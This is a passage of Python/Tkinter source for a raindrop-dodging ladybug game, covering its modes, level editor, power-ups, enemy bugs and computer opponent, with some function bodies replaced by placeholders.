data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n 